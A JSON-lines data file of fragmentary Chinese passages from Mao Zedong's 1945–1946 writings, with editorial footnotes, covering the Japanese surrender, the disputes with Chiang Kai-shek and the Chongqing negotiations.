    {"text": "无怪中国法西斯头子独夫民贼蒋介石，在敌人尚未真正接受投降之前，敢于“命令”解放区抗日军队“应就原地驻防待命”，束手让敌人来打。 无怪这同一个法西斯头子，又敢于“命令”所谓地下军（实际上就是实行“曲线救国” 〔3〕 的伪军和与敌伪合流的戴笠系特务 〔4〕 ）和伪军，“负责维持地方治安”，而不许解放区抗日军队向敌伪“擅自行动”。"},
    {"text": "国民党中央宣传部发言人的评论和蒋介石的“命令”，从头到尾都是在挑拨内战，其目的是在当着国内外集中注意力于日本无条件投降之际，找一个借口，好在抗战结束时，马上转入内战。"},
    {"text": "淳化事件 〔5〕 ，明明是胡宗南军队攻入陕甘宁边区，挑拨内战，国民党反动派却说是中共的“谣言攻势”。 淳化事件这个借口，好容易被国民党反动派找着了，却被中外舆论界一下子识破，于是又说八路军、新四军不该要敌伪缴枪了。"},
    {"text": "八年抗战，八路军、新四军受尽了蒋介石和日本人夹击围攻的苦楚，现在抗战瞬将结束，蒋介石又在暗示日本人（加上他亲爱的伪军），叫他们不要向八路军、新四军缴枪，说是只能缴给我蒋介石。"},
    {"text": "中国解放区的抗日军队，在国民党政府毫无接济又不承认的条件下，完全靠自己的努力和人民的拥护，得以独力解放了广大的国土和一万万以上的人民，抗击着侵华敌军百分之五十六和伪军的百分之九十五。"},
    {"text": "中国人民要求，中国解放区抗日军队有在朱德总司令指挥之下，直接派遣他的代表参加四大盟国接受日本投降和军事管制日本的权利，并且有参加将来和会的权利。"},
    {"text": "〔1〕 一九四五年八月十日，延安总部朱德总司令为日本投降事向各解放区所有武装部队发布命令，全文如下：“日本已宣布无条件投降，同盟国在波茨坦宣言基础上将会商受降办法。 因此，我特向各解放区所有武装部队发布下列命令：一、各解放区任何抗日武装部队均得依据波茨坦宣言规定，向其附近各城镇交通要道之敌人军队及其指挥机关送出通牒，限其于一定时间向我作战部队缴出全部武装，在缴械后，我军当依优待俘虏条例给以生命安全之保护。 二、各解放区任何抗日武装部队均得向其附近之一切伪军伪政权送出通牒，限其于敌寇投降签字前，率队反正，听候编遣，过期即须全部缴出武装。 三、各解放区所有抗日武装部队，如遇敌伪武装部队拒绝投降缴械，即应予以坚决消灭。 四、我军对任何敌伪所占城镇交通要道，都有全权派兵接收，进入占领，实行军事管制，维持秩序，并委任专员负责管理该地区之一切行政事宜，如有任何破坏或反抗事件发生，均须以汉奸论罪。"},
    {"text": "”接着，在八月十一日，延安总部又连续发布了六道命令，命令晋绥解放区贺龙领导的武装部队、晋察冀解放区聂荣臻领导的武装部队、冀热辽解放区的武装部队向内蒙和东北进军；"},
    {"text": "开罗宣言必须实施，即日本必须放弃前所掠取的土地，如朝鲜，中国的满洲、台湾、澎湖列岛等地，日本的领土限于本州、北海道、九州、四国和其他小岛之内；"},
    {"text": "“军统”是国民党庞大的特务组织之一，它残酷地迫害共产党人和革命人士，破坏人民革命，同时也对国民党军队、警察及行政机关等进行监视和控制。"},
    {"text": "〔6〕 “宁”指当时南京汉奸集团的伪政权，“渝”指当时重庆的蒋介石政权。 “宁渝合流”，是当时日本帝国主义与南京方面以及重庆蒋介石方面共同策动的一个政治阴谋。"},
    {"text": "第十八集团军总司令给蒋介石的两个电报 第十八集团军总司令 给蒋介石的两个电报 * （一九四五年八月） 一 八月十三日的电报 我们从重庆广播电台收到中央社两个消息，一个是你给我们的命令，一个是你给各战区将士的命令。"},
    {"text": "你给各战区将士的命令，据中央社重庆十一日电是这样说的：“最高统帅部今日电令各战区将士加紧作战努力，一切依照既定军事计划与命令积极推进，勿稍松懈。"},
    {"text": "现在日本侵略者尚未实行投降，而且每时每刻都在杀中国人，都在同中国军队作战，都在同苏联、美国、英国的军队作战，苏美英的军队也在每时每刻同日本侵略者作战，为什么你叫我们不要打了呢？"},
    {"text": "二 八月十六日的电报 在我们共同敌人——日本政府已接受波茨坦公告 〔2〕 宣布投降，但尚未实行投降之际，我代表中国解放区、中国沦陷区一切抗日武装力量和二亿六千万人民，特向你提出下列的声明和要求。"},
    {"text": "在抗日战争将要胜利结束的时候，我提起你注意目前中国战场上的这样的事实，即在敌伪侵占而为你所放弃的广大沦陷地区中，违背你的意志，经过我们八年的苦战，夺回了近百万平方公里的土地，解放了过一万万的人民，组织了过一百万的正规部队和二百二十多万的民兵，在辽宁、热河、察哈尔、绥远 〔3〕 、河北、山西、陕西、甘肃、宁夏、河南、山东、江苏、安徽、湖北、湖南、江西、浙江、福建、广东十九个省区内建立了十九个大块的解放区 〔4〕 ，除少数地区外，大部包围了自一九三七年七七事变以来敌伪所侵占的中国城镇、交通要道和沿海海岸。"},
    {"text": "而你的政府和军队，却一向采取袖手旁观、坐待胜利、保存实力、准备内战的方针，对于我们解放区及其军队，不仅不予承认，不予接济，而且以九十四万大军包围和进攻它们。"},
    {"text": "中国解放区人民和中国共产党，曾经多次向你和你的政府提议召开各党派会议，成立民主的举国一致的联合政府，以便停止内部纷争，动员和统一全中国人民的抗日力量，领导抗日战争取得胜利，保证战后的和平，但都被你和你的政府所拒绝。"},
    {"text": "现在敌国投降将要签字了，而你和你的政府仍然漠视我们的意见，并且于八月十一日下了一个非常无理的命令给我，又命令你的军队以收缴敌人枪械为借口大举向解放区压迫，内战危机空前严重。"},
    {"text": "凡此种种，使得我们不得不向你和你的政府提出下列的要求： 一、你和你的政府及其统帅部，在接受日伪投降、缔结受降后的一切协定和条约的时候，我要求你事先和我们商量，取得一致意见。"},
    {"text": "二、中国解放区、中国沦陷区的一切抗日的人民武装力量，有权根据波茨坦公告和同盟国规定的受降办法 〔5〕 ，接受我们所包围的日伪军队的投降，收缴其武器资材，并负责实施同盟国在受降后的一切规定。"},
    {"text": "三、中国解放区、中国沦陷区的广大人民和一切抗日武装力量，应有权派遣自己的代表参加同盟国接受敌人的投降，和处理敌国投降后的工作。 四、中国解放区和一切抗日武装力量，应有权选出自己的代表团，参加将来关于处理日本的和平会议和联合国会议。"},
    {"text": "六、请你立即废止一党专政，召开各党派会议，成立民主的联合政府，罢免贪官污吏和一切反动分子，惩办汉奸，废止特务机关，承认各党派的合法地位（中国共产党和一切民主党派至今被你和你的政府认为是非法的），取消一切镇压人民自由的反动法令，承认中国解放区的民选政府和抗日军队，撤退包围解放区的军队，释放政治犯，实行经济改革和其他各项民主改革。"},
    {"text": "但是不但在八月十一日，就是在今天（八月十六日），日本政府还只在口头上宣布投降，并没有在事实上投降，投降协定尚未签字，投降事实尚未发生。"},
    {"text": "”八月十五日，红军总参谋长安东诺夫大将还作了下列声明：“八月十四日日皇所发表的日本投降声明，仅仅是无条件投降的一般宣言，给武装部队关于停止敌对行动的命令尚未发布，而且日本军队还在继续进行抵抗。"},
    {"text": "我现在继续命令我所统帅的军队，配合苏联、美国、英国的军队，坚决向敌人进攻，直至敌人在实际上停止敌对行为、缴出武器，一切祖国的国土完全收复之时为止。"},
    {"text": "当时蒋介石政府，在日本侵略者宣布投降但尚未实行投降之际，在美国帝国主义的武力援助下，垄断接受日本投降的权利，并且借口受降调运大军向解放区进逼，积极准备反革命内战。"},
    {"text": "由于中国共产党采取了这种决不被蒋介石的反动气焰所吓倒的坚定的果断的立场，就使解放区和解放军得到了迅速的扩大，并且使蒋介石在国内外反对中国内战的强大政治压力之下，不得不改变策略，装出和平姿态，邀请毛泽东到重庆举行和平谈判。"},
    {"text": "〔4〕 十九个大块的解放区，指陕甘宁、晋绥、晋察冀、冀热辽、晋冀豫、冀鲁豫、山东、苏北、苏中、苏南、淮北、淮南、皖中、浙东、广东、琼崖、湘鄂赣、鄂豫皖、河南。"},
    {"text": "（二）你应下令你所指挥下的一切部队，停止一切军事行动，听候中国解放区八路军、新四军及华南抗日纵队的命令，向我方投降，除被国民党政府的军队所包围的部分外。 （三）关于投降事宜，在华北的日军，应由你命令下村定将军派出代表至八路军阜平地区，接受聂荣臻将军的命令； 在华东的日军，应由你直接派出代表至新四军军部所在地天长地区，接受陈毅将军的命令； 在鄂豫两省的日军，应由你命令在武汉的代表，至新四军第五师大悟山地区，接受李先念将军的命令； 在广东的日军，应由你指定在广州的代表，至华南抗日纵队东莞地区，接受曾生将军的命令。"},
    {"text": "（四）所有在华北、华东、华中及华南的日军（被国民党军队包围的日军在外），应暂时保存一切武器、资材，静候我军受降，不得接受八路军、新四军及华南抗日纵队以外之命令。"},
    {"text": "评蒋介石发言人谈话 评蒋介石发言人谈话 * （一九四五年八月十六日） 蒋介石的发言人，于十五日下午在重庆记者招待会上讲关于所谓共产党违反蒋介石委员长对朱德总司令的命令时说：“委员长之命令，必须服从。"},
    {"text": "在这八年中，蒋介石曾于一九四〇年、一九四一年、一九四三年发动过三次大规模的反共高潮 〔1〕 ，每一次都准备将其发展为全国范围的内战，仅由于中国人民和盟邦人士的反对，才未实现，使蒋介石引为恨事。"},
    {"text": "蒋介石为了发动内战，已经发明了种种词令，如所谓“异党”、“奸党”、“奸军”、“叛军”、“奸区”、“匪区”、“不服从军令政令”、“封建割据”、“破坏抗战”、“危害国家”；"},
    {"text": "坚决迅速努力壮大人民的民主力量，由人民解放敌占大城市和解除敌伪武装，如有独夫民贼敢于进犯人民，则取自卫立场，给以坚决的反击，使内战挑拨者无所逞其伎。"},
    {"text": "这些谎言是说：蒋介石禁止中国人民去解放敌占大城市，禁止他们去解除敌伪武装和建立民主政治，而由他自己到这些大城市去“世袭”（而不是破坏）敌伪的统治，中国的内战反而可以避免。"},
    {"text": "必须永远记得：蒋介石所进行的自一九二七年至一九三七年的十年内战，并不是因为大城市在共产党手中而不在蒋介石手中，恰恰相反，从一九二七年到现在，大城市都不在共产党手中，而是在蒋介石或蒋介石所让与的日本和汉奸手中，正是这样，内战就在全国范围内进行了十年，并局部地继续到现在。 必须永远记得：十年内战之所以被停止，抗战中三次反共高潮以及其他无数次挑战（直到最近陕甘宁边区南部蒋介石入犯事件 〔3〕 ）之所以被制止，并不是由于蒋介石的力量强大，恰恰相反，都是由于蒋介石力量相对地不够强大，由于共产党和人民力量相对地强大。 十年内战，不是因为全国一切愿望和平害怕战争人士的呼吁（例如过去的“废止内战大同盟” 〔4〕 之类的呼吁）而停止，而是因为中国共产党的武装要求和张学良杨虎城所领导的东北军西北军的武装要求而停止的。"},
    {"text": "“确立内部和平状态”，“成立临时政府，使民众中一切民主分子的代表广泛参加，并确保尽可能从速经由自由选举以建立对于人民意志负责的政府”，这是苏美英三国在克里米亚说的话 〔5〕 。"},
    {"text": "中共中央关于同国民党进行和平谈判的通知 中共中央关于同国民党 进行和平谈判的通知 * （一九四五年八月二十六日） 日寇迅速投降，改变了整个形势。"},
    {"text": "华北方面，收复了威海卫、烟台、龙口、益都、淄川、杨柳青、毕克齐、博爱、张家口、集宁、丰镇等处，我军威震华北，配合苏军和蒙古军进抵长城之声势，造成了我党的有利地位。 今后一时期内仍应继续攻势，以期尽可能夺取平绥线、同蒲北段、正太路、德石路、白晋路 〔1〕 、道清路，切断北宁、平汉、津浦、胶济、陇海、沪宁各路，凡能控制者均控制之，哪怕暂时也好。"},
    {"text": "例如新四军占领了南京、太湖、天目山之间许多县城和江淮间许多县城，山东占领了整个胶东半岛，晋绥占领了平绥路南北许多城市，就造成了极好的形势。 再有一时期攻势，我党可能控制江北、淮北、山东、河北、山西、绥远 〔2〕 的绝对大部分，热察 〔3〕 两个全省和辽宁一部。"},
    {"text": "现在苏美英三国均不赞成中国内战 〔4〕 ，我党又提出和平、民主、团结三大口号 〔5〕 ，并派毛泽东、周恩来、王若飞三同志赴渝和蒋介石商量团结建国大计，中国反动派的内战阴谋，可能被挫折下去。"},
    {"text": "在内外压力下，可能在谈判后，有条件地承认我党地位，我党亦有条件地承认国民党的地位，造成两党合作（加上民主同盟 〔6〕 等）、和平发展的新阶段。"},
    {"text": "在谈判中，国民党必定要求我方大大缩小解放区的土地和解放军的数量，并不许发纸币，我方亦准备给以必要的不伤害人民根本利益的让步。 无此让步，不能击破国民党的内战阴谋，不能取得政治上的主动地位，不能取得国际舆论和国内中间派的同情，不能换得我党的合法地位和和平局面。"},
    {"text": "在我党采取上述步骤后，如果国民党还要发动内战，它就在全国全世界面前输了理，我党就有理由采取自卫战争，击破其进攻。 同时我党力量强大，有来犯者，只要好打，我党必定站在自卫立场上坚决彻底干净全部消灭之（不要轻易打，打则必胜），绝对不要被反动派的其势汹汹所吓倒。"},
    {"text": "但是国民党空隙甚多，地区甚广，只要同志们对于军事政策（行动和作战）和团结人民的政策，不犯大错误，谦虚谨慎，不骄不躁，是完全有办法的。"},
    {"text": "注 释 * 这是毛泽东在去重庆同蒋介石进行和平谈判的前两天为中共中央起草的对党内的通知。 由于中国共产党和中国广大人民坚定地反对蒋介石的内战阴谋，也由于美国帝国主义当时还顾忌世界民主舆论一致反对蒋介石的内战政策和独裁政策，蒋介石在一九四五年八月十四日、二十日和二十三日三次电邀毛泽东到重庆进行和平谈判，当时美国驻中国大使赫尔利还在八月二十七日为此来到延安。 中国共产党为了尽一切可能争取和平，也为了在争取和平的过程中揭露美国帝国主义和蒋介石的真面目，以利于团结和教育广大人民，决定派遣毛泽东、周恩来、王若飞到重庆去同国民党进行和平谈判。 毛泽东所起草的这个通知，分析了日本宣布投降以后两个星期内中国形势的发展，说明了中共中央关于和平谈判的方针，在谈判中准备作出的某些让步以及对谈判结果的两种可能情况的对策，分别对华北、华东解放区和华中、华南解放区的斗争作了原则的指示，告诉全党绝对不要因为谈判而放松对蒋介石的警惕和斗争。"},
    {"text": "这次谈判的结果，虽然只发表了一个国共双方代表会谈纪要（即《双十协定》），但是在政治上却使中国共产党获得了极大的主动，而使国民党陷入被动，因而是成功的。"},
    {"text": "〔5〕 和平、民主、团结三大口号，是一九四五年八月二十五日中国共产党中央委员会《对于目前时局的宣言》中提出的。 宣言指出：在日本帝国主义投降以后，“我全民族面前的重大任务是：巩固国内团结，保证国内和平，实现民主，改善民生，以便在和平民主团结的基础上，实现全国的统一，建设独立自由与富强的新中国”。"},
    {"text": "我们在党的七次代表大会上也这样声明：只要国民党当局“一旦愿意放弃其错误的现行政策，同意民主改革，我们是愿意和他们恢复谈判的” 〔5〕 。"},
    {"text": "我们共产党人好比种子，人民好比土地。 我们到了一个地方，就要同那里的人民结合起来，在人民中间生根、开花。 我们的同志不论到什么地方，都要把和群众的关系搞好，要关心群众，帮助他们解决困难。"},
    {"text": "在这个纪要中，国民党表面上不得不同意中国共产党提出的和平建国的基本方针，承认“以和平、民主、团结、统一为基础，……长期合作，坚决避免内战，建设独立、自由和富强的新中国”，“政治民主化、军队国家化及党派平等合法，为达到和平建国必由之途径”； 也不得不同意迅速结束国民党的训政，召开政治协商会议，“保证人民享受一切民主国家人民在平时应享受的身体、信仰、言论、出版、集会、结社之自由，现行法令当依此原则，分别予以废止或修正”，取消特务机关，“严禁司法和警察以外机关有拘捕、审讯和处罚人民之权”，“释放政治犯”，“积极推行地方自治，实行由下而上的普选”等。 同时，国民党却顽固地拒绝承认人民军队和解放区民主政权的合法地位，并妄图在“统一军令”和“统一政令”的借口下，根本取消中国共产党领导的人民军队和解放区，以致无法就这个问题达成协议。"},
    {"text": "在此计划下，中共愿将其所领导的抗日军队由现有数目缩编至二十四个师至少二十个师的数目，并表示可迅速将其所领导而散布在广东、浙江、苏南、皖南、皖中、湖南、湖北、河南（豫北不在内）八个地区的抗日军队着手复员，并从上述地区逐步撤退应整编的部队至陇海路以北及苏北、皖北的解放区集中。 政府方面表示：全国整编计划正在进行，此次提出商谈之各项问题，果能全盘解决，则中共所领导的抗日军队缩编至二十个师的数目，可以考虑。"},
    {"text": "中共方面提出：中共及地方军事人员应参加军事委员会及其各部的工作，政府应保障人事制度，任用原部队人员为整编后的部队的各级官佐，编余官佐，应实行分区训练，设立公平合理的补给制度，并确定政治教育计划。"},
    {"text": "中共方面开始提出的方案为：依照现有十八个解放区的情形，重划省区和行政区，并即以原由民选之各级地方政府名单呈请中央加委，以谋政令之统一。 政府方面表示：依据蒋主席曾向毛先生表示：在全国军令政令统一以后，中央可考虑中共所荐之行政人选。"},
    {"text": "于是中共方面提出第二种解决方案，请中央于陕甘宁边区及热河、察哈尔、河北、山东、山西五省委任中共推选之人员为省府主席及委员，于绥远、河南、江苏、安徽、湖北、广东六省委任中共推选之人为省府副主席及委员（因以上十一省或有广大解放区或有部分解放区），于北平、天津、青岛、上海四特别市委任中共推选之人为副市长，于东北各省容许中共推选之人参加行政。 此事讨论多次，后中共方面对上述提议，有所修改，请委任省府主席及委员者改为陕甘宁边区及热、察、冀、鲁四省，请委省府副主席及委员者，改为晋、绥两省，请委副市长者改为北平、天津、青岛三特别市。 政府方面对此表示：中共对于其抗战卓著勤劳，且在政治上具有能力之同志，可提请政府决定任用，倘要由中共推荐某某省主席及委员，某某省副主席等，则即非真诚做到军令政令之统一。 于是中共方面表示可放弃第二种主张，改提第三种解决方案：由解放区各级民选政府重新举行人民普选，在政治协商会议派员监督之下，欢迎各党派、各界人士还乡参加选举。"},
    {"text": "至此，中共方面提出第四种解决方案：各解放区暂维持现状不变，留待宪法规定民选省级政府实施后再行解决，而目前则规定临时办法，以保证和平秩序之恢复。"},
    {"text": "一九四五年八月中旬，国民党军阎锡山部集中十三个师的兵力，在日伪军的配合下，先后自临汾、浮山、翼城和太原、榆次出发，侵入晋东南解放区的襄垣、屯留、长治、潞城等地。"},
    {"text": "〔7〕 苏、中、美、英、法五国外长会议是根据一九四五年八月波茨坦协定而设立的，自一九四五年至一九四九年共举行六次会议。 这里所说的伦敦五国外长会议是指一九四五年九月十一日至十月二日在伦敦举行的第一次五国外长会议。"},
    {"text": "国民党进攻的真相 国民党进攻的真相 * （一九四五年十一月五日） 合众社重庆三日电报道，国民党中央宣传部长吴国桢宣称，“政府在此次战争中全居守势”，并提出所谓恢复交通的办法 〔1〕 。"},
    {"text": "除我军已撤退的浙东、苏南、皖中、皖南、湖南五个解放区全被国民党军队进占、大肆蹂躏人民外，其他大多数解放区，例如广东、湖北、河南、苏北、皖北、山东、河北等省，国民党正规军已有七十余师开到我解放区及其附近，压迫人民，进攻我军，或准备进攻。"},
    {"text": "其中由彰德 〔2〕 北进一路，攻至邯郸地区之八个师，两个师反对内战，主张和平，六个师（其中有三个美械师）在我解放区军民举行自卫的反击之后，始被迫放下武器。"},
    {"text": "这一路国民党军的许多军官，其中有副长官、军长、副军长多人，现在都在解放区 〔3〕 ，他们都可以证明他们是从何处开来、如何奉命进攻的全部真情。"},
    {"text": "我豫鄂两省解放区军队，现被国民党第一、第五、第六等三个战区的军队共二十几个师四面包围，刘峙任该区“剿共”总指挥。 我豫西、豫中、鄂南、鄂东、鄂中等处解放区都被国民党军队侵占，大肆烧杀，迫得我李先念、王树声等部无处存身，不得不向豫鄂交界地区觅一驻地，以求生存，但又被国民党军队紧紧追击 〔4〕 。"},
    {"text": "他大概忘记了他的十九军军长史泽波，暂四十六师师长郭溶，暂四十九师师长张宏，六十六师师长李佩膺，六十八师师长郭天兴，暂三十七师师长杨文彩等位将军 〔5〕 ，现正住在我解放区，足以驳斥吴国桢氏、阎锡山氏和一切挑拨内战的反动派的任何谎话。"},
    {"text": "在各次自卫战斗中，我方缴获大批“剿匪”和反共文件，其中有国民党最高当局所颁发而被吴国桢氏称为不过是“笑话”的《剿匪手本》、“剿匪”命令 〔7〕 和其他反共文件，正在向延安解送中。"},
    {"text": "为着迅速制止已经普及全国的反人民反民主的内战，我们主张：（一）已经进入华北、苏北、皖北、华中各解放区及其附近的政府受降军队和进攻军队，立即撤返原防，由解放区军队去接受敌人投降和驻防各城市与交通线，恢复被侵占的解放区；"},
    {"text": "绥远、上党、邯郸三次自卫战斗中所缴获的文件以及大举调兵和大举进攻的实际行动，已充分证明国民党当局所谓恢复交通是为着人民，不是为着内战，乃是毫不足信的。"},
    {"text": "国民党反动派在所谓“恢复交通”的借口下，企图利用这些交通线分割解放区，并且把它的几百万军队运往东北、华北、华东、华中，进攻解放区，抢占大城市。"},
    {"text": "解放区军民奋起自卫，经一周激战，国民党第十一战区副司令长官兼新八军军长高树勋率新编第八军等部一万余人，在邯郸地区起义，其余的两个军，在溃退中被人民解放军围歼，放下武器。 当时被迫放下武器的高级军官有：国民党第十一战区副司令长官兼第四十军军长马法五，第四十军副军长刘世荣、军参谋长李旭东、副师长刘树森等多人。"},
    {"text": "豫鄂解放区的人民军队，对进犯军作了坚决的斗争，保存了实力，于一九四五年十月下旬，转移至豫、鄂交界之大洪山、桐柏山、枣阳地区，后因国民党军队继续追逼，又转移至平汉路东之宣化店地区。"},
    {"text": "〔6〕 绥远，一九五四年撤销，原辖地区划归内蒙古自治区。 察哈尔，一九五二年撤销，原辖地区划归河北、山西两省。 热河，一九五五年撤销，原辖地区划归河北、辽宁两省及内蒙古自治区。"},
    {"text": "〔7〕 《剿匪手本》，是一九三三年蒋介石编的专门讲述进攻中国人民军队和革命根据地的方法的反革命小册子。 一九四五年抗日战争结束以后，蒋介石重印这个小册子发给国民党军官，并下达密令称：“此次剿匪为人民幸福之所系，务本以往抗战之精神，遵照中正所订《剿匪手本》，督励所属，努力进剿，迅速完成任务。"},
    {"text": "减租和生产是保卫解放区的两件大事 减租和生产 是保卫解放区的两件大事 * （一九四五年十一月七日） （一）国民党在美国援助下，动员一切力量进攻我解放区。全国规模的内战已经存在。我党当前任务，是动员一切力量，站在自卫立场上，粉碎国民党的进攻，保卫解放区，争取和平局面的出现。为达此目的，使解放区农民普遍取得减租利益，使工人和其他劳动人民取得酌量增加工资和改善待遇的利益；同时又使地主还能生活，使工商业资本家还有利可图；并于明年发展大规模的生产运动，增加粮食和日用必需品的生产，改善人民的生活，救济饥民、难民，供给军队的需要，成为非常迫切的任务。只有减租和生产两件大事办好了，才能克服困难，援助战争，取得胜利。 （二）目前战争的规模很大，许多领导同志在前方指挥，不能分心照顾减租和生产。因此，必须实行分工。留在后方的领导同志，除了作直接援助前线的许多工作之外，一定要不失时机，布置减租和生产两件大工作。务使整个解放区，特别是广大的新解放区，在最近几个月内（冬春两季）发动一次大的减租运动，普遍地实行减租，借以发动大多数农民群众的革命热情。同时，在一九四六年内，全解放区的农业和工业的生产，务使有一个新的发展。不要因为新的大规模战争而疏忽减租和生产；恰好相反，正是为了战胜国民党的进攻，而要加紧减租和生产。 （三）减租必须是群众斗争的结果，不能是政府恩赐的。这是减租成败的关键。减租斗争中发生过火现象是难免的，只要真正是广大群众的自觉斗争，可以在过火现象发生后，再去改正。只有在那时，才能说服群众，使他们懂得让地主能够活下去，不去帮助国民党，对于农民和全体人民是有利的。目前我党方针，仍然是减租而不是没收土地。在减租中和减租后，必须帮助大多数农民组织在农会中。 （四）使大多数生产者组织在生产互助团体中，是生产运动胜利的关键。政府发放农贷、工贷，是必不可少的步骤。不违农时，减少误工，也十分重要。现在一面要为战争动员民力，一面又要尽可能地不违农时，应当研究调节的办法。在不妨碍战争、工作和学习的条件下，部队、机关、学校仍要适当地参加生产，才能改善生活，减轻人民的负担。 （五）我们已得到了一些大城市和许多中等城市。掌握这些城市的经济，发展工业、商业和金融业，成了我党的重要任务。为此目的，利用一切可用的社会现成人材，说服党员同他们合作，向他们学习技术和管理的方法，非常必要。 （六）告诉党员坚决同人民一道，关心人民的经济困难，而以实行减租和发展生产两件大事作为帮助人民解决困难的重要关键，我们就会获得人民的真心拥护，任何反动派的进攻是能够战胜的。一切仍要从长期支持着想，爱惜人力、物力，事事作长期打算，我们就一定能够胜利。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。"},
    {"text": "一九四六年解放区工作的方针 一九四六年解放区工作的方针 * （一九四五年十二月十五日） 过去几个月内，我党领导人民在肃清敌伪和粉碎国民党向解放区进攻的激烈斗争中，得到了伟大的胜利。"},
    {"text": "另一方面，须从国民党军队内部去准备和组织起义，开展高树勋运动，使大量国民党军队在战争紧急关头，仿照高树勋榜样，站到人民方面来，反对内战，主张和平。"},
    {"text": "为使此项工作切实进行和迅速生效起见，各地必须依照中央指示，设置专门部门，调派大批干部，专心致志，从事此项工作。 各地领导机关，则要给以密切指导。"},
    {"text": "练兵项目，仍以提高射击、刺杀、投弹等项技术程度为主，提高战术程度为辅，特别着重于练习夜战。 练兵方法，应开展官教兵、兵教官、兵教兵的群众练兵运动。"},
    {"text": "一九四六年必须进一步实现改进军队政治工作的任务，克服军队中存在着的教条主义和形式主义作风，为团结官兵，团结军民，团结友军，瓦解敌军，保证练兵、供给和作战任务的完成而奋斗。"},
    {"text": "按照中央一九四五年十一月七日指示 〔3〕 ，各地务必在一九四六年，在一切新解放区，发动大规模的、群众性的、但是有领导的减租减息运动。"},
    {"text": "一方面，援助国民党区域正在发展的民主运动（以昆明罢课 〔6〕 为标志），使反动派陷于孤立，使我党获得广大的同盟者，扩大在我党影响下的民族民主统一战线。"},
    {"text": "〔2〕 一九四五年十月三十日，国民党第十一战区副司令长官兼新八军军长高树勋率新编第八军等部一万余人在邯郸内战前线起义，在全国影响很大。 为了进一步加强分化、瓦解国民党军队和争取国民党军队起义的工作，中共中央决定对国民党军队开展宣传运动，号召国民党军队中的官兵学习高树勋部队的榜样，拒绝进攻解放区，在内战战场上实行怠工，和人民解放军联欢，举行起义，站到人民方面来。"},
    {"text": "〔5〕 拥政爱民，是人民解放军“拥护政府、爱护人民”的口号的简称。 拥军优抗，是解放区的党政机关、群众团体和人民群众“拥护军队、优待抗日军人家属”的口号的简称。 “拥军优抗”的口号，后来改为“拥军优属”，即拥护人民解放军、优待革命军人家属。"},
    {"text": "〔6〕 一九四五年十一月二十五日晚，云南省昆明市大中学生六千余人，在西南联合大学举行反内战时事晚会，国民党反动派派遣军队包围会场，发射小钢炮、机关枪、步枪，并在学校附近戒严，禁阻师生通行返家。"},
    {"text": "建立巩固的东北根据地 建立巩固的东北根据地 * （一九四五年十二月二十八日） （一）我党现时在东北的任务，是建立根据地，是在东满、北满、西满建立巩固的军事政治的根据地 〔1〕 。"},
    {"text": "（三）在确定建立巩固根据地的地区和部署力量之后，又在我军数量上已有广大发展之后，我党在东北的工作重心是群众工作。 必须使一切干部明白，国民党在东北一个时期内将强过我党，如果我们不从发动群众斗争、替群众解决问题、一切依靠群众这一点出发，并动员一切力量从事细心的群众工作，在一年之内，特别是在最近几个月的紧急时机内，打下初步的可靠的基础，那末，我们在东北就将陷于孤立，不能建立巩固根据地，不能战胜国民党的进攻，而有遭遇极大困难甚至失败的可能；"},
    {"text": "应当在这些斗争中，组织各种群众团体，建立党的核心，建立群众的武装和人民的政权，把群众斗争从经济斗争迅速提高到政治斗争，参加根据地的建设。"},
    {"text": "只要我们能够将发动群众、建立根据地的思想普及到一切干部和战士中去，动员一切力量，迅速从事建立根据地的伟大斗争，我们就能在东北和热河 〔3〕 立住脚跟，并取得确定的胜利。"},
    {"text": "必须告诉干部，对于国民党势力切不可估计太低，也不可以为国民党将向东满和北满进攻，因而产生不耐心作艰苦工作的情绪。 这样说明时，当然不要使干部觉得国民党势力大得了不得，国民党的进攻是不能粉碎的。"},
    {"text": "将正规军队的相当部分，分散到各军分区去，从事发动群众，消灭土匪，建立政权，组织游击队、民兵和自卫军，以便稳固地方，配合野战军，粉碎国民党的进攻。"},
    {"text": "鉴于抗战初期我党争取工人和知识分子进入根据地注意不够，此次东北党组织除注意国民党占领区的地下工作外，还应尽可能吸引工人和知识分子参加军队和根据地的各项建设工作。"},
    {"text": "在苏联宣布对日作战，苏联军队进入东北以后，中共中央和中共中央军事委员会派遣大批干部和部队进入东北，与东北抗日联军会合，领导东北人民，消灭日军和伪满的残余，肃清汉奸，剿除土匪，建立各级地方民主政府。 但是这时坚持要独占全东北的国民党反动派，在美帝国主义援助下，经过海陆空三路向东北大举运兵，并攻占了已被人民解放军解放的山海关、锦州等要地。"},
    {"text": "毛泽东在为中共中央起草的这个指示中，预见到东北斗争的艰苦性，确定了中国共产党在东北的任务是在距离国民党占领中心较远的城市和广大乡村，建立巩固的根据地，发动群众，逐步积蓄力量，准备在将来转入反攻。"},
    {"text": "〔1〕 当时，东满根据地是指中长路沈阳至长春段以东的吉林、西安（今东辽）、安图、延吉、敦化等地区； 北满根据地是指哈尔滨、牡丹江、北安、佳木斯、齐齐哈尔等地区； 西满根据地是指中长路沈阳至哈尔滨段以西的洮安、开鲁、阜新、郑家屯（今双辽）、扶余等地区。 此外，中国共产党还在南满建立了根据地，南满根据地是指中长路沈阳至大连段以东的安东（今丹东市）、庄河、通化、临江清原和沈阳西南的辽中等地区。"},
    {"text": "这个指示指出：发动群众对汉奸、特务的控诉复仇的清算运动是目前发动群众的中心环节，应当通过这一运动，发扬群众的积极性，提高群众在社会上、政治上和经济上的地位，组织工会、农会和其他群众团体，并准备在这个运动告一段落后转入减租减息的群众运动。"},
    {"text": "关于目前国际形势的几点估计 关于目前国际形势的几点估计 * （一九四六年四月） （一）世界反动力量确在准备第三次世界大战，战争危险是存在着的。但是，世界人民的民主力量超过世界反动力量，并且正在向前发展，必须和必能克服战争危险。因此，美、英、法同苏联的关系，不是或者妥协或者破裂的问题，而是或者较早妥协或者较迟妥协的问题。所谓妥协，是指经过和平协商达成协议。所谓较早较迟，是指在几年或者十几年之内，或者更长时间。 （二）上述这种妥协，不是说在一切国际问题上。这在美、英、法继续由反动派统治的条件下是不可能的。这种妥协，是说在若干问题上，包括在某些重大问题上。但是，这一类的妥协在目前短时期内还不会很多。美、英、法同苏联的通商贸易关系则有扩大的可能。 （三）美、英、法同苏联之间的这种妥协，只能是全世界一切民主力量向美、英、法反动力量作了坚决的和有效的斗争的结果。这种妥协，并不要求资本主义世界各国人民随之实行国内的妥协。各国人民仍将按照不同情况进行不同斗争。反动势力对于人民的民主势力的原则，是能够消灭者一定消灭之，暂时不能消灭者准备将来消灭之。针对这种情况，人民的民主势力对于反动势力，亦应采取同样的原则。 注 释 * 